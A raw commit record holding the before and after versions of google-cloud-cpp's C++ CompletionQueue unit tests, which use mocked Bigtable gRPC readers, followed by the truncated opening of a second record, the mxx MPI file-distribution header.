::google::bigtable::admin::v2;\nnamespace btproto = ::google::bigtable::v2;\nusing ::testing::_;\nusing ::testing::StrictMock;\n\nclass MockClient {\n public:\n  MOCK_METHOD3(\n      AsyncGetTable,\n      std::unique_ptr<grpc::ClientAsyncResponseReaderInterface<btadmin::Table>>(\n          grpc::ClientContext*, btadmin::GetTableRequest const&,\n          grpc::CompletionQueue* cq));\n\n  MOCK_METHOD3(AsyncReadRows,\n               std::unique_ptr<::grpc::ClientAsyncReaderInterface<\n                   btproto::ReadRowsResponse>>(grpc::ClientContext*,\n                                               btproto::ReadRowsRequest const&,\n                                               grpc::CompletionQueue* cq));\n};\n\nclass MockTableReader\n    : public grpc::ClientAsyncResponseReaderInterface<btadmin::Table> {\n public:\n  MOCK_METHOD0(StartCall, void());\n  MOCK_METHOD1(ReadInitialMetadata, void(void*));\n  MOCK_METHOD3(Finish, void(btadmin::Table*, grpc::Status*, void*));\n};\n\nclass MockRowReader\n    : public grpc::ClientAsyncReaderInterface<btproto::ReadRowsResponse> {\n public:\n  MOCK_METHOD1(StartCall, void(void*));\n  MOCK_METHOD1(ReadInitialMetadata, void(void*));\n  MOCK_METHOD2(Read, void(btproto::ReadRowsResponse*, void*));\n  MOCK_METHOD2(Finish, void(grpc::Status*, void*));\n};\n\n\/\/\/ @test Verify that the basic functionality in a CompletionQueue works.\nTEST(CompletionQueueTest, TimerSmokeTest) {\n  CompletionQueue cq;\n  std::thread t([&cq] { cq.Run(); });\n\n  using ms = std::chrono::milliseconds;\n  promise<void> wait_for_sleep;\n  cq.MakeRelativeTimer(ms(2))\n      .then([&wait_for_sleep](\n                future<StatusOr<std::chrono::system_clock::time_point>>) {\n        wait_for_sleep.set_value();\n      })\n      .get();\n\n  auto f = wait_for_sleep.get_future();\n  EXPECT_EQ(std::future_status::ready, f.wait_for(ms(0)));\n  cq.Shutdown();\n  t.join();\n}\n\nTEST(CompletionQueueTest, MockSmokeTest) {\n  auto mock = std::make_shared<MockCompletionQueue>();\n\n  CompletionQueue cq(mock);\n  using ms = std::chrono::milliseconds;\n  promise<void> wait_for_sleep;\n  cq.MakeRelativeTimer(ms(20000)).then(\n      [&wait_for_sleep](\n          future<StatusOr<std::chrono::system_clock::time_point>>) {\n        wait_for_sleep.set_value();\n      });\n  mock->SimulateCompletion(\/*ok=*\/true);\n\n  auto f = wait_for_sleep.get_future();\n  EXPECT_EQ(std::future_status::ready, f.wait_for(ms(0)));\n  cq.Shutdown();\n}\n\nTEST(CompletionQueueTest, ShutdownWithPending) {\n  using ms = std::chrono::milliseconds;\n\n  future<void> timer;\n  {\n    CompletionQueue cq;\n    std::thread runner([&cq] { cq.Run(); });\n    timer = cq.MakeRelativeTimer(ms(20)).then(\n        [](future<StatusOr<std::chrono::system_clock::time_point>> result) {\n          \/\/ Timer still runs to completion after `Shutdown`.\n          EXPECT_STATUS_OK(result.get().status());\n        });\n    EXPECT_EQ(std::future_status::timeout, timer.wait_for(ms(0)));\n    cq.Shutdown();\n    EXPECT_EQ(std::future_status::timeout, timer.wait_for(ms(0)));\n    runner.join();\n  }\n  EXPECT_EQ(std::future_status::ready, timer.wait_for(ms(0)));\n}\n\nTEST(CompletionQueueTest, CanCancelAllEvents) {\n  CompletionQueue cq;\n  promise<void> done;\n  std::thread runner([&cq, &done] {\n    cq.Run();\n    done.set_value();\n  });\n  for (int i = 0; i < 3; ++i) {\n    using hours = std::chrono::hours;\n    cq.MakeRelativeTimer(hours(1)).then(\n        [](future<StatusOr<std::chrono::system_clock::time_point>> result) {\n          \/\/ Cancelled timers return CANCELLED status.\n          EXPECT_EQ(StatusCode::kCancelled, result.get().status().code());\n        });\n  }\n  using ms = std::chrono::milliseconds;\n  auto f = done.get_future();\n  EXPECT_EQ(std::future_status::timeout, f.wait_for(ms(1)));\n  cq.Shutdown();\n  EXPECT_EQ(std::future_status::timeout, f.wait_for(ms(1)));\n  cq.CancelAll();\n  f.wait();\n  EXPECT_TRUE(f.is_ready());\n  runner.join();\n}\n\nTEST(CompletionQueueTest, MakeUnaryRpc) {\n  using ms = std::chrono::milliseconds;\n\n  auto mock_cq = std::make_shared<MockCompletionQueue>();\n  CompletionQueue cq(mock_cq);\n\n  auto mock_reader = absl::make_unique<MockTableReader>();\n  EXPECT_CALL(*mock_reader, Finish(_, _, _))\n      .WillOnce([](btadmin::Table* table, grpc::Status* status, void*) {\n        table->set_name(\"test-table-name\");\n        *status = grpc::Status::OK;\n      });\n  MockClient mock_client;\n  EXPECT_CALL(mock_client, AsyncGetTable(_, _, _))\n      .WillOnce([&mock_reader](grpc::ClientContext*,\n                               btadmin::GetTableRequest const& request,\n                               grpc::CompletionQueue*) {\n        EXPECT_EQ(\"test-table-name\", request.name());\n        \/\/ This looks like a double delete, but it is not because\n        \/\/ std::unique_ptr<grpc::ClientAsyncResponseReaderInterface<T>> is\n        \/\/ specialized to not delete. :shrug:\n        return std::unique_ptr<\n            grpc::ClientAsyncResponseReaderInterface<btadmin::Table>>(\n            mock_reader.get());\n      });\n\n  std::thread runner([&cq] { cq.Run(); });\n\n  btadmin::GetTableRequest request;\n  request.set_name(\"test-table-name\");\n  future<void> done =\n      cq.MakeUnaryRpc(\n            [&mock_client](grpc::ClientContext* context,\n                           btadmin::GetTableRequest const& request,\n                           grpc::CompletionQueue* cq) {\n              return mock_client.AsyncGetTable(context, request, cq);\n            },\n            request, absl::make_unique<grpc::ClientContext>())\n          .then([](future<StatusOr<btadmin::Table>> f) {\n            auto table = f.get();\n            ASSERT_STATUS_OK(table);\n            EXPECT_EQ(\"test-table-name\", table->name());\n          });\n\n  mock_cq->SimulateCompletion(true);\n\n  EXPECT_EQ(std::future_status::ready, done.wait_for(ms(0)));\n\n  cq.Shutdown();\n  runner.join();\n}\n\nTEST(CompletionQueueTest, MakeStreamingReadRpc) {\n  auto mock_cq = std::make_shared<MockCompletionQueue>();\n  CompletionQueue cq(mock_cq);\n\n  auto mock_reader = absl::make_unique<MockRowReader>();\n  EXPECT_CALL(*mock_reader, StartCall(_)).Times(1);\n  EXPECT_CALL(*mock_reader, Read(_, _)).Times(2);\n  EXPECT_CALL(*mock_reader, Finish(_, _)).Times(1);\n\n  MockClient mock_client;\n  EXPECT_CALL(mock_client, AsyncReadRows(_, _, _))\n      .WillOnce([&mock_reader](grpc::ClientContext*,\n                               btproto::ReadRowsRequest const& request,\n                               grpc::CompletionQueue*) {\n        EXPECT_EQ(\"test-table-name\", request.table_name());\n        return std::unique_ptr<\n            grpc::ClientAsyncReaderInterface<btproto::ReadRowsResponse>>(\n            mock_reader.release());\n      });\n\n  std::thread runner([&cq] { cq.Run(); });\n\n  btproto::ReadRowsRequest request;\n  request.set_table_name(\"test-table-name\");\n\n  int on_read_counter = 0;\n  int on_finish_counter = 0;\n  (void)cq.MakeStreamingReadRpc(\n      [&mock_client](grpc::ClientContext* context,\n                     btproto::ReadRowsRequest const& request,\n                     grpc::CompletionQueue* cq) {\n        return mock_client.AsyncReadRows(context, request, cq);\n      },\n      request, absl::make_unique<grpc::ClientContext>(),\n      [&on_read_counter](btproto::ReadRowsResponse const&) {\n        ++on_read_counter;\n        return make_ready_future(true);\n      },\n      [&on_finish_counter](Status const&) { ++on_finish_counter; });\n\n  \/\/ Simulate the OnStart() completion\n  mock_cq->SimulateCompletion(true);\n  \/\/ Simulate the first Read() completion\n  mock_cq->SimulateCompletion(true);\n  EXPECT_EQ(1, on_read_counter);\n  EXPECT_EQ(0, on_finish_counter);\n\n  \/\/ Simulate a Read() returning false\n  mock_cq->SimulateCompletion(false);\n  EXPECT_EQ(1, on_read_counter);\n  EXPECT_EQ(0, on_finish_counter);\n\n  \/\/ Simulate the Finish() call completing asynchronously\n  mock_cq->SimulateCompletion(false);\n  EXPECT_EQ(1, on_read_counter);\n  EXPECT_EQ(1, on_finish_counter);\n\n  cq.Shutdown();\n  runner.join();\n}\n\nTEST(CompletionQueueTest, MakeRpcsAfterShutdown) {\n  using ms = std::chrono::milliseconds;\n\n  auto mock_cq = std::make_shared<MockCompletionQueue>();\n  CompletionQueue cq(mock_cq);\n\n  \/\/ Use `StrictMock` to enforce that there are no calls made on the client.\n  StrictMock<MockClient> mock_client;\n  std::thread runner([&cq] { cq.Run(); });\n  cq.Shutdown();\n\n  btadmin::GetTableRequest get_table_request;\n  get_table_request.set_name(\"test-table-name\");\n  future<void> done =\n      cq.MakeUnaryRpc(\n            [&mock_client](grpc::ClientContext* context,\n                           btadmin::GetTableRequest const& request,\n                           grpc::CompletionQueue* cq) {\n              return mock_client.AsyncGetTable(context, request, cq);\n            },\n            get_table_request, absl::make_unique<grpc::ClientContext>())\n          .then([](future<StatusOr<btadmin::Table>> f) {\n            EXPECT_EQ(StatusCode::kCancelled, f.get().status().code());\n          });\n\n  btproto::ReadRowsRequest read_request;\n  read_request.set_table_name(\"test-table-name\");\n  (void)cq.MakeStreamingReadRpc(\n      [&mock_client](grpc::ClientContext* context,\n                     btproto::ReadRowsRequest const& request,\n                     grpc::CompletionQueue* cq) {\n        return mock_client.AsyncReadRows(context, request, cq);\n      },\n      read_request, absl::make_unique<grpc::ClientContext>(),\n      [](btproto::ReadRowsResponse const&) {\n        ADD_FAILURE() << \"OnReadHandler unexpectedly called\";\n        return make_ready_future(true);\n      },\n      [](Status const& status) {\n        EXPECT_EQ(StatusCode::kCancelled, status.code());\n      });\n\n  mock_cq->SimulateCompletion(true);\n  EXPECT_EQ(std::future_status::ready, done.wait_for(ms(0)));\n  runner.join();\n}\n\nTEST(CompletionQueueTest, RunAsync) {\n  CompletionQueue cq;\n\n  std::thread runner([&cq] { cq.Run(); });\n\n  std::promise<void> done_promise;\n  cq.RunAsync([&done_promise](CompletionQueue&) { done_promise.set_value(); });\n\n  auto done = done_promise.get_future();\n  done.get();\n\n  cq.Shutdown();\n  runner.join();\n}\n\nTEST(CompletionQueueTest, RunAsyncCompletionQueueDestroyed) {\n  auto cq_impl = std::make_shared<MockCompletionQueue>();\n\n  std::promise<void> done_promise;\n  {\n    CompletionQueue cq(cq_impl);\n    cq.RunAsync([&done_promise](CompletionQueue& cq) {\n      done_promise.set_value();\n      cq.Shutdown();\n    });\n  }\n  cq_impl->SimulateCompletion(true);\n\n  done_promise.get_future().get();\n}\n\n\/\/ Sets up a timer that reschedules itself and verifies we can shut down\n\/\/ cleanly whether we call `CancelAll()` on the queue first or not.\nnamespace {\nusing TimerFuture = future<StatusOr<std::chrono::system_clock::time_point>>;\n\nvoid RunAndReschedule(CompletionQueue& cq, bool ok,\n                      std::chrono::seconds duration) {\n  if (ok) {\n    cq.MakeRelativeTimer(duration).then([&cq, duration](TimerFuture result) {\n      RunAndReschedule(cq, result.get().ok(), duration);\n    });\n  }\n}\n}  \/\/ namespace\n\nTEST(CompletionQueueTest, ShutdownWithReschedulingTimer) {\n  CompletionQueue cq;\n  std::thread t([&cq] { cq.Run(); });\n\n  RunAndReschedule(cq, \/*ok=*\/true, std::chrono::seconds(1));\n\n  cq.Shutdown();\n  t.join();\n}\n\nTEST(CompletionQueueTest, ShutdownWithFastReschedulingTimer) {\n  auto constexpr kThreadCount = 32;\n  auto constexpr kTimerCount = 100;\n  CompletionQueue cq;\n  std::vector<std::thread> threads(kThreadCount);\n  std::generate_n(threads.begin(), threads.size(),\n                  [&cq] { return std::thread([&cq] { cq.Run(); }); });\n\n  for (int i = 0; i != kTimerCount; ++i) {\n    RunAndReschedule(cq, \/*ok=*\/true, std::chrono::seconds(0));\n  }\n\n  promise<void> wait;\n  cq.MakeRelativeTimer(std::chrono::milliseconds(1)).then([&wait](TimerFuture) {\n    wait.set_value();\n  });\n  wait.get_future().get();\n  cq.Shutdown();\n  for (auto& t : threads) {\n    t.join();\n  }\n}\n\nTEST(CompletionQueueTest, CancelAndShutdownWithReschedulingTimer) {\n  CompletionQueue cq;\n  std::thread t([&cq] { cq.Run(); });\n\n  RunAndReschedule(cq, \/*ok=*\/true, std::chrono::seconds(1));\n\n  cq.CancelAll();\n  cq.Shutdown();\n  t.join();\n}\n\nTEST(CompletionQueueTest, CancelTimerSimple) {\n  CompletionQueue cq;\n  std::thread t([&cq] { cq.Run(); });\n\n  using ms = std::chrono::milliseconds;\n  auto fut = cq.MakeRelativeTimer(ms(20000));\n  fut.cancel();\n  auto tp = fut.get();\n  EXPECT_FALSE(tp.ok()) << \", status=\" << tp.status();\n  cq.Shutdown();\n  t.join();\n}\n\nTEST(CompletionQueueTest, CancelTimerContinuation) {\n  CompletionQueue cq;\n  std::thread t([&cq] { cq.Run(); });\n\n  using ms = std::chrono::milliseconds;\n  auto fut = cq.MakeRelativeTimer(ms(20000)).then(\n      [](future<StatusOr<std::chrono::system_clock::time_point>> f) {\n        return f.get().status();\n      });\n  fut.cancel();\n  auto status = fut.get();\n  EXPECT_FALSE(status.ok()) << \", status=\" << status;\n  cq.Shutdown();\n  t.join();\n}\n\n}  \/\/ namespace\n}  \/\/ namespace GOOGLE_CLOUD_CPP_NS\n}  \/\/ namespace cloud\n}  \/\/ namespace google\n<commit_msg>fix: test with correct MockCompletionQueue (#4427)<commit_after>\/\/ Copyright 2019 Google LLC\n\/\/\n\/\/ Licensed under the Apache License, Version 2.0 (the \"License\");\n\/\/ you may not use this file except in compliance with the License.\n\/\/ You may obtain a copy of the License at\n\/\/\n\/\/     http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n\/\/\n\/\/ Unless required by applicable law or agreed to in writing, software\n\/\/ distributed under the License is distributed on an \"AS IS\" BASIS,\n\/\/ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n\/\/ See the License for the specific language governing permissions and\n\/\/ limitations under the License.\n\n#include \"google\/cloud\/completion_queue.h\"\n#include \"google\/cloud\/future.h\"\n#include \"google\/cloud\/testing_util\/assert_ok.h\"\n#include \"google\/cloud\/testing_util\/mock_completion_queue.h\"\n#include <google\/bigtable\/admin\/v2\/bigtable_table_admin.grpc.pb.h>\n#include <google\/bigtable\/v2\/bigtable.grpc.pb.h>\n#include <gmock\/gmock.h>\n#include <chrono>\n#include <memory>\n#include <thread>\n\nnamespace google {\nnamespace cloud {\ninline namespace GOOGLE_CLOUD_CPP_NS {\nnamespace {\n\nnamespace btadmin = ::google::bigtable::admin::v2;\nnamespace btproto = ::google::bigtable::v2;\nusing ::google::cloud::testing_util::MockCompletionQueue;\nusing ::testing::_;\nusing ::testing::StrictMock;\n\nclass MockClient {\n public:\n  MOCK_METHOD3(\n      AsyncGetTable,\n      std::unique_ptr<grpc::ClientAsyncResponseReaderInterface<btadmin::Table>>(\n          grpc::ClientContext*, btadmin::GetTableRequest const&,\n          grpc::CompletionQueue* cq));\n\n  MOCK_METHOD3(AsyncReadRows,\n               std::unique_ptr<::grpc::ClientAsyncReaderInterface<\n                   btproto::ReadRowsResponse>>(grpc::ClientContext*,\n                                               btproto::ReadRowsRequest const&,\n                                               grpc::CompletionQueue* cq));\n};\n\nclass MockTableReader\n    : public grpc::ClientAsyncResponseReaderInterface<btadmin::Table> {\n public:\n  MOCK_METHOD0(StartCall, void());\n  MOCK_METHOD1(ReadInitialMetadata, void(void*));\n  MOCK_METHOD3(Finish, void(btadmin::Table*, grpc::Status*, void*));\n};\n\nclass MockRowReader\n    : public grpc::ClientAsyncReaderInterface<btproto::ReadRowsResponse> {\n public:\n  MOCK_METHOD1(StartCall, void(void*));\n  MOCK_METHOD1(ReadInitialMetadata, void(void*));\n  MOCK_METHOD2(Read, void(btproto::ReadRowsResponse*, void*));\n  MOCK_METHOD2(Finish, void(grpc::Status*, void*));\n};\n\n\/\/\/ @test Verify that the basic functionality in a CompletionQueue works.\nTEST(CompletionQueueTest, TimerSmokeTest) {\n  CompletionQueue cq;\n  std::thread t([&cq] { cq.Run(); });\n\n  using ms = std::chrono::milliseconds;\n  promise<void> wait_for_sleep;\n  cq.MakeRelativeTimer(ms(2))\n      .then([&wait_for_sleep](\n                future<StatusOr<std::chrono::system_clock::time_point>>) {\n        wait_for_sleep.set_value();\n      })\n      .get();\n\n  auto f = wait_for_sleep.get_future();\n  EXPECT_EQ(std::future_status::ready, f.wait_for(ms(0)));\n  cq.Shutdown();\n  t.join();\n}\n\nTEST(CompletionQueueTest, MockSmokeTest) {\n  auto mock = std::make_shared<MockCompletionQueue>();\n\n  CompletionQueue cq(mock);\n  using ms = std::chrono::milliseconds;\n  promise<void> wait_for_sleep;\n  cq.MakeRelativeTimer(ms(20000)).then(\n      [&wait_for_sleep](\n          future<StatusOr<std::chrono::system_clock::time_point>>) {\n        wait_for_sleep.set_value();\n      });\n  mock->SimulateCompletion(\/*ok=*\/true);\n\n  auto f = wait_for_sleep.get_future();\n  EXPECT_EQ(std::future_status::ready, f.wait_for(ms(0)));\n  cq.Shutdown();\n}\n\nTEST(CompletionQueueTest, ShutdownWithPending) {\n  using ms = std::chrono::milliseconds;\n\n  future<void> timer;\n  {\n    CompletionQueue cq;\n    std::thread runner([&cq] { cq.Run(); });\n    timer = cq.MakeRelativeTimer(ms(20)).then(\n        [](future<StatusOr<std::chrono::system_clock::time_point>> result) {\n          \/\/ Timer still runs to completion after `Shutdown`.\n          EXPECT_STATUS_OK(result.get().status());\n        });\n    EXPECT_EQ(std::future_status::timeout, timer.wait_for(ms(0)));\n    cq.Shutdown();\n    EXPECT_EQ(std::future_status::timeout, timer.wait_for(ms(0)));\n    runner.join();\n  }\n  EXPECT_EQ(std::future_status::ready, timer.wait_for(ms(0)));\n}\n\nTEST(CompletionQueueTest, CanCancelAllEvents) {\n  CompletionQueue cq;\n  promise<void> done;\n  std::thread runner([&cq, &done] {\n    cq.Run();\n    done.set_value();\n  });\n  for (int i = 0; i < 3; ++i) {\n    using hours = std::chrono::hours;\n    cq.MakeRelativeTimer(hours(1)).then(\n        [](future<StatusOr<std::chrono::system_clock::time_point>> result) {\n          \/\/ Cancelled timers return CANCELLED status.\n          EXPECT_EQ(StatusCode::kCancelled, result.get().status().code());\n        });\n  }\n  using ms = std::chrono::milliseconds;\n  auto f = done.get_future();\n  EXPECT_EQ(std::future_status::timeout, f.wait_for(ms(1)));\n  cq.Shutdown();\n  EXPECT_EQ(std::future_status::timeout, f.wait_for(ms(1)));\n  cq.CancelAll();\n  f.wait();\n  EXPECT_TRUE(f.is_ready());\n  runner.join();\n}\n\nTEST(CompletionQueueTest, MakeUnaryRpc) {\n  using ms = std::chrono::milliseconds;\n\n  auto mock_cq = std::make_shared<MockCompletionQueue>();\n  CompletionQueue cq(mock_cq);\n\n  auto mock_reader = absl::make_unique<MockTableReader>();\n  EXPECT_CALL(*mock_reader, Finish(_, _, _))\n      .WillOnce([](btadmin::Table* table, grpc::Status* status, void*) {\n        table->set_name(\"test-table-name\");\n        *status = grpc::Status::OK;\n      });\n  MockClient mock_client;\n  EXPECT_CALL(mock_client, AsyncGetTable(_, _, _))\n      .WillOnce([&mock_reader](grpc::ClientContext*,\n                               btadmin::GetTableRequest const& request,\n                               grpc::CompletionQueue*) {\n        EXPECT_EQ(\"test-table-name\", request.name());\n        \/\/ This looks like a double delete, but it is not because\n        \/\/ std::unique_ptr<grpc::ClientAsyncResponseReaderInterface<T>> is\n        \/\/ specialized to not delete. :shrug:\n        return std::unique_ptr<\n            grpc::ClientAsyncResponseReaderInterface<btadmin::Table>>(\n            mock_reader.get());\n      });\n\n  std::thread runner([&cq] { cq.Run(); });\n\n  btadmin::GetTableRequest request;\n  request.set_name(\"test-table-name\");\n  future<void> done =\n      cq.MakeUnaryRpc(\n            [&mock_client](grpc::ClientContext* context,\n                           btadmin::GetTableRequest const& request,\n                           grpc::CompletionQueue* cq) {\n              return mock_client.AsyncGetTable(context, request, cq);\n            },\n            request, absl::make_unique<grpc::ClientContext>())\n          .then([](future<StatusOr<btadmin::Table>> f) {\n            auto table = f.get();\n            ASSERT_STATUS_OK(table);\n            EXPECT_EQ(\"test-table-name\", table->name());\n          });\n\n  mock_cq->SimulateCompletion(true);\n\n  EXPECT_EQ(std::future_status::ready, done.wait_for(ms(0)));\n\n  cq.Shutdown();\n  runner.join();\n}\n\nTEST(CompletionQueueTest, MakeStreamingReadRpc) {\n  auto mock_cq = std::make_shared<MockCompletionQueue>();\n  CompletionQueue cq(mock_cq);\n\n  auto mock_reader = absl::make_unique<MockRowReader>();\n  EXPECT_CALL(*mock_reader, StartCall(_)).Times(1);\n  EXPECT_CALL(*mock_reader, Read(_, _)).Times(2);\n  EXPECT_CALL(*mock_reader, Finish(_, _)).Times(1);\n\n  MockClient mock_client;\n  EXPECT_CALL(mock_client, AsyncReadRows(_, _, _))\n      .WillOnce([&mock_reader](grpc::ClientContext*,\n                               btproto::ReadRowsRequest const& request,\n                               grpc::CompletionQueue*) {\n        EXPECT_EQ(\"test-table-name\", request.table_name());\n        return std::unique_ptr<\n            grpc::ClientAsyncReaderInterface<btproto::ReadRowsResponse>>(\n            mock_reader.release());\n      });\n\n  std::thread runner([&cq] { cq.Run(); });\n\n  btproto::ReadRowsRequest request;\n  request.set_table_name(\"test-table-name\");\n\n  int on_read_counter = 0;\n  int on_finish_counter = 0;\n  (void)cq.MakeStreamingReadRpc(\n      [&mock_client](grpc::ClientContext* context,\n                     btproto::ReadRowsRequest const& request,\n                     grpc::CompletionQueue* cq) {\n        return mock_client.AsyncReadRows(context, request, cq);\n      },\n      request, absl::make_unique<grpc::ClientContext>(),\n      [&on_read_counter](btproto::ReadRowsResponse const&) {\n        ++on_read_counter;\n        return make_ready_future(true);\n      },\n      [&on_finish_counter](Status const&) { ++on_finish_counter; });\n\n  \/\/ Simulate the OnStart() completion\n  mock_cq->SimulateCompletion(true);\n  \/\/ Simulate the first Read() completion\n  mock_cq->SimulateCompletion(true);\n  EXPECT_EQ(1, on_read_counter);\n  EXPECT_EQ(0, on_finish_counter);\n\n  \/\/ Simulate a Read() returning false\n  mock_cq->SimulateCompletion(false);\n  EXPECT_EQ(1, on_read_counter);\n  EXPECT_EQ(0, on_finish_counter);\n\n  \/\/ Simulate the Finish() call completing asynchronously\n  mock_cq->SimulateCompletion(false);\n  EXPECT_EQ(1, on_read_counter);\n  EXPECT_EQ(1, on_finish_counter);\n\n  cq.Shutdown();\n  runner.join();\n}\n\nTEST(CompletionQueueTest, MakeRpcsAfterShutdown) {\n  using ms = std::chrono::milliseconds;\n\n  auto mock_cq = std::make_shared<MockCompletionQueue>();\n  CompletionQueue cq(mock_cq);\n\n  \/\/ Use `StrictMock` to enforce that there are no calls made on the client.\n  StrictMock<MockClient> mock_client;\n  std::thread runner([&cq] { cq.Run(); });\n  cq.Shutdown();\n\n  btadmin::GetTableRequest get_table_request;\n  get_table_request.set_name(\"test-table-name\");\n  future<void> done =\n      cq.MakeUnaryRpc(\n            [&mock_client](grpc::ClientContext* context,\n                           btadmin::GetTableRequest const& request,\n                           grpc::CompletionQueue* cq) {\n              return mock_client.AsyncGetTable(context, request, cq);\n            },\n            get_table_request, absl::make_unique<grpc::ClientContext>())\n          .then([](future<StatusOr<btadmin::Table>> f) {\n            EXPECT_EQ(StatusCode::kCancelled, f.get().status().code());\n          });\n\n  btproto::ReadRowsRequest read_request;\n  read_request.set_table_name(\"test-table-name\");\n  (void)cq.MakeStreamingReadRpc(\n      [&mock_client](grpc::ClientContext* context,\n                     btproto::ReadRowsRequest const& request,\n                     grpc::CompletionQueue* cq) {\n        return mock_client.AsyncReadRows(context, request, cq);\n      },\n      read_request, absl::make_unique<grpc::ClientContext>(),\n      [](btproto::ReadRowsResponse const&) {\n        ADD_FAILURE() << \"OnReadHandler unexpectedly called\";\n        return make_ready_future(true);\n      },\n      [](Status const& status) {\n        EXPECT_EQ(StatusCode::kCancelled, status.code());\n      });\n\n  mock_cq->SimulateCompletion(true);\n  EXPECT_EQ(std::future_status::ready, done.wait_for(ms(0)));\n  runner.join();\n}\n\nTEST(CompletionQueueTest, RunAsync) {\n  CompletionQueue cq;\n\n  std::thread runner([&cq] { cq.Run(); });\n\n  std::promise<void> done_promise;\n  cq.RunAsync([&done_promise](CompletionQueue&) { done_promise.set_value(); });\n\n  auto done = done_promise.get_future();\n  done.get();\n\n  cq.Shutdown();\n  runner.join();\n}\n\nTEST(CompletionQueueTest, RunAsyncCompletionQueueDestroyed) {\n  auto cq_impl = std::make_shared<MockCompletionQueue>();\n\n  std::promise<void> done_promise;\n  {\n    CompletionQueue cq(cq_impl);\n    cq.RunAsync([&done_promise](CompletionQueue& cq) {\n      done_promise.set_value();\n      cq.Shutdown();\n    });\n  }\n  cq_impl->SimulateCompletion(true);\n\n  done_promise.get_future().get();\n}\n\n\/\/ Sets up a timer that reschedules itself and verifies we can shut down\n\/\/ cleanly whether we call `CancelAll()` on the queue first or not.\nnamespace {\nusing TimerFuture = future<StatusOr<std::chrono::system_clock::time_point>>;\n\nvoid RunAndReschedule(CompletionQueue& cq, bool ok,\n                      std::chrono::seconds duration) {\n  if (ok) {\n    cq.MakeRelativeTimer(duration).then([&cq, duration](TimerFuture result) {\n      RunAndReschedule(cq, result.get().ok(), duration);\n    });\n  }\n}\n}  \/\/ namespace\n\nTEST(CompletionQueueTest, ShutdownWithReschedulingTimer) {\n  CompletionQueue cq;\n  std::thread t([&cq] { cq.Run(); });\n\n  RunAndReschedule(cq, \/*ok=*\/true, std::chrono::seconds(1));\n\n  cq.Shutdown();\n  t.join();\n}\n\nTEST(CompletionQueueTest, ShutdownWithFastReschedulingTimer) {\n  auto constexpr kThreadCount = 32;\n  auto constexpr kTimerCount = 100;\n  CompletionQueue cq;\n  std::vector<std::thread> threads(kThreadCount);\n  std::generate_n(threads.begin(), threads.size(),\n                  [&cq] { return std::thread([&cq] { cq.Run(); }); });\n\n  for (int i = 0; i != kTimerCount; ++i) {\n    RunAndReschedule(cq, \/*ok=*\/true, std::chrono::seconds(0));\n  }\n\n  promise<void> wait;\n  cq.MakeRelativeTimer(std::chrono::milliseconds(1)).then([&wait](TimerFuture) {\n    wait.set_value();\n  });\n  wait.get_future().get();\n  cq.Shutdown();\n  for (auto& t : threads) {\n    t.join();\n  }\n}\n\nTEST(CompletionQueueTest, CancelAndShutdownWithReschedulingTimer) {\n  CompletionQueue cq;\n  std::thread t([&cq] { cq.Run(); });\n\n  RunAndReschedule(cq, \/*ok=*\/true, std::chrono::seconds(1));\n\n  cq.CancelAll();\n  cq.Shutdown();\n  t.join();\n}\n\nTEST(CompletionQueueTest, CancelTimerSimple) {\n  CompletionQueue cq;\n  std::thread t([&cq] { cq.Run(); });\n\n  using ms = std::chrono::milliseconds;\n  auto fut = cq.MakeRelativeTimer(ms(20000));\n  fut.cancel();\n  auto tp = fut.get();\n  EXPECT_FALSE(tp.ok()) << \", status=\" << tp.status();\n  cq.Shutdown();\n  t.join();\n}\n\nTEST(CompletionQueueTest, CancelTimerContinuation) {\n  CompletionQueue cq;\n  std::thread t([&cq] { cq.Run(); });\n\n  using ms = std::chrono::milliseconds;\n  auto fut = cq.MakeRelativeTimer(ms(20000)).then(\n      [](future<StatusOr<std::chrono::system_clock::time_point>> f) {\n        return f.get().status();\n      });\n  fut.cancel();\n  auto status = fut.get();\n  EXPECT_FALSE(status.ok()) << \", status=\" << status;\n  cq.Shutdown();\n  t.join();\n}\n\n}  \/\/ namespace\n}  \/\/ namespace GOOGLE_CLOUD_CPP_NS\n}  \/\/ namespace cloud\n}  \/\/ namespace google\n<|endoftext|>"}
{"text":"<commit_before>\/*\n * Copyright 2015 Georgia Institute of Technology\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *     http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n *\/\n\n\/**\n * @file    file.hpp\n * @author  Patrick Flick <patrick.flick@gmail.com>\n * @brief   Block decompose and distribute file as string on MPI communicator.\n *\n * This is not a substitute for MPI_File functionality.\n * TODO:\n * - [ ] Implement proper MPI_File functions for parallel reading of files\n *\/\n\n#ifndef MXX_FILE_HPP\n#define MXX_FILE_HPP\n\n#include <mpi.h>\n\n\/\/ C++ includes\n#include <string>\n#include <fstream>\n#include <streambuf>\n#include <sstream>\n#include <iostream>\n#include <iomanip>\n\n\/\/ mxx includes\n#include \"partition.hpp\"\n\nnamespace mxx {\n\nstd::ifstream::pos_type get_filesize(const char* filename)\n{\n    std::ifstream in(filename, std::ifstream::ate | std::ifstream::binary);\n    return in.tellg();\n}\n\nclass rangebuf: public std::streambuf {\npublic:\n    rangebuf(std::streampos start,\n                    size_t size,\n                    std::streambuf* sbuf):\n        size_(size), sbuf_(sbuf), buf_(new char[64])\n    {\n        sbuf->pubseekpos(start, std::ios_base::in);\n    }\n    int underflow() {\n        size_t r(this->sbuf_->sgetn(this->buf_,\n            std::min<size_t>(sizeof(this->buf_), this->size_)));\n        this->size_ -= r;\n        this->setg(this->buf_, this->buf_, this->buf_ + r);\n        return this->gptr() == this->egptr()\n            ? traits_type::eof()\n            : traits_type::to_int_type(*this->gptr());\n    }\n\n    ~rangebuf()\n    {\n        delete [] this->buf_;\n    }\nprotected:\n    size_t size_;\n    std::streambuf* sbuf_;\n    char* buf_;\n};\n\n\nstruct file {\nprotected:\n    MPI_File handle;\n    std::string filename;\n    bool isopen;\n\n\n    void clear() {\n        handle = MPI_FILE_NULL;\n        filename = \"\";\n        isopen = false;\n    }\npublic:\n    file() : handle(MPI_FILE_NULL), filename(), isopen(false) {}\n\n    file(file&& o) : handle(o.handle), filename(o.filename), isopen(o.isopen) {\n        o.clear();\n    }\n\n    file(const std::string& filename) : handle(MPI_FILE_NULL), filename(filename), isopen(false) 